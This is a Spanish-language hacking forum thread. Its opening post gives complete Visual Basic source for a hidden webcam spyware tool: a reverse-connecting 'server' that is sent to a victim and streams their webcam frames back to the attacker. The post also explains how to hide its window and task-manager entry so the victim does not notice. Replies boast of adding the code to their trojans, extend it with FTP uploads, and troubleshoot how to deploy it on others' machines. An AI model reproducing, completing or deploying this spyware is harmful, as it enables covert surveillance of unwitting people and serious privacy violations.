Crea tu Espia-Webcams Indetectable

[MatU_MalO]

Les voy a enseñar construir nuestro sistema de cliente/servidor
para espiar la webcam del servidor .
Lo mejor de esta aplicacion es que ES INDETECTABLE!!. Asi es, debido
a que el servidor en realidad funciona como cliente, y el cliente, es el servidor!
Es decir que nosotros (El cliente) somos los que enrealidad abrimos los puertos y,
el servidor, es el que se conecta a nosotros para comenzar a enviarnos las imagenes.
Por lo que el Servidor (En realidad cliente xD) no le detecta nada, sino que al que le detecta
sera a nosotros, pero no se preocupen, simplemnete cierren el antivirus asi no molesta xD
Y si tenemos el Firewall activado, y nos pregunta que hacer apretamos Desbloquear.

Ahora si, comencemos...
Primero configuraremos el Cliente.
El cliente posee un Winsock Control. Para agregarlo vamos a Proyecto>Componentes>
Microsoft Winsock Control 6.0.
Y un PcitureBox. A los dos les dejaremos el nombre que traen para no confundirnos
mucho.
Luegro le agregamos el siguiente codigo:
---------------------------------------------------------------------------------

Código:

Dim Ruta As String

Private Sub Form_Load()
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.LocalPort = 1000
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock1.GetData Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
End Sub

------------------------------------------

Ahora el Servidor...
El servidor posee un formulario, y un modulo.
El formulario posee dos TextBox, un PictureBox un Control Winsock, un Timer y un
CommandButton
Recuerda dejarle los mismos nombres.
Y este codigo:
------------------------------------------

Código:

Dim Imagen() As Byte


Private Sub Form_Load()
Command1.Caption = "Conectar"
Text1.Text = "TUIP" 'Aqui debe tu ip!, buenisimo no?, ni conseguir la ip de la cpu a espiar precisas :D
If Command1.Caption = "Conectar" Then
Winsock1.CONNECT Text1, CInt(Text2)
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0
Timer1.Enabled = True
Command1.Caption = "Desconectar"
Else
Timer1.Enabled = False
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
Me.Caption = "Desconectado"
Command1.Caption = "Conectar"
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0
Winsock1.Close
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, COPY, 0, 0
Picture1.Picture = Clipboard.GetData
SavePicture Clipboard.GetData, "c:\temporal.bmp"
Dim Tamaño As Long
Open "c:\temporal.bmp" For Binary Access Read As #1
Tamaño = LOF(1)
ReDim Imagen(Tamaño - 1)
Get #1, , Imagen
Close
Winsock1.SendData Imagen
Winsock1.SendData "Fin"
End Sub

Private Sub Winsock1_Close()
Me.Caption = "Desconectado"
End Sub

Private Sub Winsock1_Connect()
Me.Caption = "Conectado"
End Sub

------------------------------------------

Y el modulo tiene este codigo:

Código:

Public Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long

Public mCapHwnd As Long

Public Const CONNECT As Long = 1034
Public Const DISCONNECT As Long = 1035
Public Const GET_FRAME As Long = 1084
Public Const COPY As Long = 1054

NOTAS:
Debemos poner False en la Opcion "Visible" de: Text1, Text2 y CommandButton1 .
Para que ande correctamente, primero debe estar abierto el cliente
y luego el servidor, si primero se abre el servidor y luego el
cliente, no funcionara.
El Intervalo del Timer debe ser el que nosotros queramos (Recomiendo 200).
Debemos cambiar la propiedad "Enabled" del Timer a False.
El "Text" de Text2 debe ser 1000.
Tambien es recomendable hacer invisible el formulario de servidor, asi la otra
persona no nos descubre, y tambien hacerlo invisible en el administrador de tareas.

Saludos!
------------------

[Burz]

Que pedazo aporte,  esta que te cagas.Muchsima s gracias era lo que le faltaba a mi trojan

[RaKi0N]

Ya somos mayorcitos para andar jugando a ver webcams...Acas o alguna amiga y tal que se vaya

a duchar pues bueno.. x'DDD......

Pero bueno,otro aporte y la verdad sencillo.

=)

[cyberserver]

pues esta chido el aporte la neta.!!!! no lo veo tan sencillo como dice el SUPER HACKER Raxion.... JAJAJA perdon es que me cague de la riza!!!d 

Pues ese codigo o idea ya la habia utilizado se la puse a mi troyano y jalo muy bien......

Ahora lo que estaria loco es enviar la imagen a un servidor pero a un servidor en internet. lo trate de hacer con un apagina bajo un dominio webcindaio pero no se puede ya que esta solo te permite salida por el puerto 80, era necesario contratar un servidor o instalar uno en tu maquina.

Pero no me quede hay. hize lo siguiente es un programa que sube foto a un servidor web bajo un Dominio con el protocolo FTP. no es la gran cosa pero funciona muy bien.....


Para ver este enlace Registrate o Inicia Sesion

Inteligente no es aquel que se aprende las cosas, si no aquel que sabe donde buscarlas....!!!

Exelente post Matu_Malo

[MatU_MalO]

Muchas gracias
Y muy bien por vos que no te quedas solo con eso sino que queres utilizarlo para mas
Hace un par de dias atras postie un programa que lo que hace es enviar las fotos a un servidor que este en tu maquina, solo que no postie el codigo y luego lo perdi, pero es facil .

Suerte!!

[li3xs]

A mi me lanza un error que dice Run-Time error '13'
Type Mismatch

y dice q el problema esta en esta linea

Winsock1.CONNE CT Text1, CInt(Text2.Text) no se q stare haciendo mal jojo

[MatU_MalO]

Hiciste todo lo que puse en "Notas"??

[Remy_Gilbert]

¿Esto es legal?   

Esto es genial! o ¿no?

[Burz]

¿Esto es legal?   

Esto es genial! o ¿no?

Depende para que lo uses, la aplicacione n si es legal. Si lo utilizas para vigilar tu casa o para espiar a alguein, depende de eso

[RaKi0N]

Depende para que lo uses, la aplicacione n si es legal. Si lo utilizas para vigilar tu casa o para espiar a alguein, depende de eso

No creo que te infectes aposta para vigilar tu casa. ¿No?

[Burz]

ajajajaj, pero se puede hacer y eso no es ilegal.JAJAJAJ AAJJA

[cyberserver]

Sip si es legal. dependiendo del uso que le des. pero no creo que puedas hacer mucho con ese programa bueno si puedes vigilar lo que quieras pero de forma local no se puede usar en internet a menos que configires tu router y tengas un DNS........... ......

[ubic]

=/ bueno soy nuevo en VB me sale un error en el server "no se puede encontrar el punto de entrada de la DLL capCreateCaptu reWindowA en avicap32.dll"

A que se debe esto ?

[MatU_MalO]

Fijate que tiene espacios de mas. Proba borrandolos. En realidad tiene un monton de espacios de mas asique borra todos y proba asi. Si no te anda tampòco haciendo eso decime...

[ubic]

Si me di cuenta de los Espacios =D voy a hacerlo denuevo por si me salte alguno, olle se puede usar "NO-IP" o se pone la privada ? xD

EDIT: Bueno vi lo de los espacios, pero = podiras subir de nuevo el Codigo sin espacios =D en Todo caso ahora si me funciono, creo yo que era en el codigo del modulo, pero no entiendo bien el funcionamiento osea, se lo mando a alguien con camara y donde lo veo ? xD

[invert]

oye esta muy buena o.O

muchisimas gracias por el aporte... si todavia pudieran poner karma te subiria xD

[MatU_MalO]

oye esta muy buena o.O

muchisimas gracias por el aporte... si todavia pudieran poner karma te subiria xD

Jeje gracias

Si me di cuenta de los Espacios =D voy a hacerlo denuevo por si me salte alguno, olle se puede usar "NO-IP" o se pone la privada ? xD

EDIT: Bueno vi lo de los espacios, pero = podiras subir de nuevo el Codigo sin espacios =D en Todo caso ahora si me funciono, creo yo que era en el codigo del modulo, pero no entiendo bien el funcionamiento osea, se lo mando a alguien con camara y donde lo veo ? xD

Primero abris el cliente, y luego le envias el server a quien tenga la camarita y cuando lo abre directamente comienza a enviar capturas al cliente...
Podes hacerle modificaciones para tener en una lista todos los que abrieron el server y si queres comenzar la captura de alguna, cosas asi, asi depaso te ayuda a aprender

[ubic]

Que bien voy a intentar pero tengo que leer primero xD, olle tengo una duda abri el server en Mi PC con camara no se si es recomendado hacer eso xD pero puede ver mi camara, pero en el SERVER no en el cliente eso es haci, tengo que darle para que no se vea esa ventana ? y como se hace xD

EDIT: Ademas no me dijiste que IP tenia que poner en el server osea si podia poner No-ip

[MatU_MalO]

Para que la ventana del server no se vea en el visual basic en la parte del formulario del server vas a la propiedad Visible, y le pones False. Tambien podes poner Show in Taskbar (o algo asi) False asi no se ve en el administrador de tareas.

Lo de si anda con no-ip o no no lo se porque nunca probe con no ip. Igual podes probar no cuesta nada

saludos!

[700esoj]

tengo una duda, el programa corre pero solo se mira en el server la camara.... En el cliente no se mira, creo q debe de se mi Ip.  Estoy utilizando dos computadoras conectadas via router, como puedo hacer para q se mire en la del cliente?   trato de hacerlo con el ipconfig  y me da un ip, y pongo la ip pero nada, y trato en otras paginas q me dicen otro ip q me imagino q es la del router y tampoco me sale con nignuna de las 2    

podrias ayudarme con eso?

gracias
------------------------------------

EDITADO

Ya vi el problema,  No era mi ip sino q hay algo mal en tu codigo. Me di cuenta q si me llegaba datos a C:\temporal2.bmp  pero se sigue acumulando y si tratas de abrir la imagen no sale nada, no se mira nada. Debe de haber algo mal en tu codigo bro por q sino se mira una imagen y en ves de llegar y eliminar y volver a crear otra solo se acumulan los bytes pero no sirve de nada

podrias decirnos cual es el problema?

[Yahoo help]

Yo he tenido mala suerte programando, no se si es ke no le doy interes o es que soy muy "animal" para comprender jaja de todo lo que me entra y comprendo... esto es lo que mas he fallado.. no se que es... quizas algun dia aprenda y haga lo que anhelo.. hacer mis propios programas y todo lo que este a mi alcance para compartirlos.. softgratis..

[ubic]

Creo que no me funka =( osea lo probe con una persona (un amigo) y no puede ver su camara ni un segundo =/ que puede estar mal ?

[Dark_D]

llaveria gracias por tu aportte y perdona la ignorancia (es que soy nuevo en esto ) este codigo sirve tambien para vb 2005 profesional.

[troyanqui]

Muy buenas, llevo unos dias intentando hacerlo y veo la imagen en la ventana del "servidor", pero no en la de cliente. Qué ocurre?

Muchisimas gracias un saludo!

[troyanqui]

Además me acabo de dar cuenta de que estos archivos solo los abre mi PC. Pongo el server en un PC y no lo deja abrir diciendo que MSWINSCK.OCX no está correctamente registrado. Muchas gracias

[x3non]

yo me lo e autoejecutado y no me sale nada en la pantalla

[aldoup]

Una duda cuando dices

"Agregemos un picturebox y un winsock"

Pongan este codigo

Dim Ruta As String

Private Sub Form_Load()
Ruta = "c:\temporal2.bmp"
Open Ruta For Binary As #1
On Error Resume Next
Kill (Ruta)
Open "ruta" For Binary As #1
Winsock1.Local Port = 1000
Winsock1.Liste n
End Sub

Private Sub Winsock1_Conne ctionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accep t requestID
End Sub
Private Sub Winsock1_DataA rrival(ByVal bytesTotal As Long)
Dim Imagen As String
Winsock1.GetDa ta Imagen, vbNullString
Put #1, , Imagen
If Right(Imagen, 3) = "Fin" Or Imagen = "Fin" Then
Close
Picture1 = LoadPicture(Ruta)
Open Ruta For Binary As #1
End If
End Sub

No entiendo despues eso de configurar el cliente :S

[vulcano03121975]

Sin menospreciar la labor de aldoup, la api capCreateCaptu reWindow es correctamente aquella q crea la captura de la ventana de la cam, el dilema es si su posible victima en si selecciono el origen de video en vidcap32, sino es asi el programita los delatara pues en la pc remota se abrira la aplicacion vidcap32, a no ser q lo haga manualmente entonces todo bien, sino espero sean amables en decirme como lo hicieron para seleccionar el origen del video sin q aparezca la ventanita del programita el famoso "vidcap32" (q por cierto es MS).
Saludos...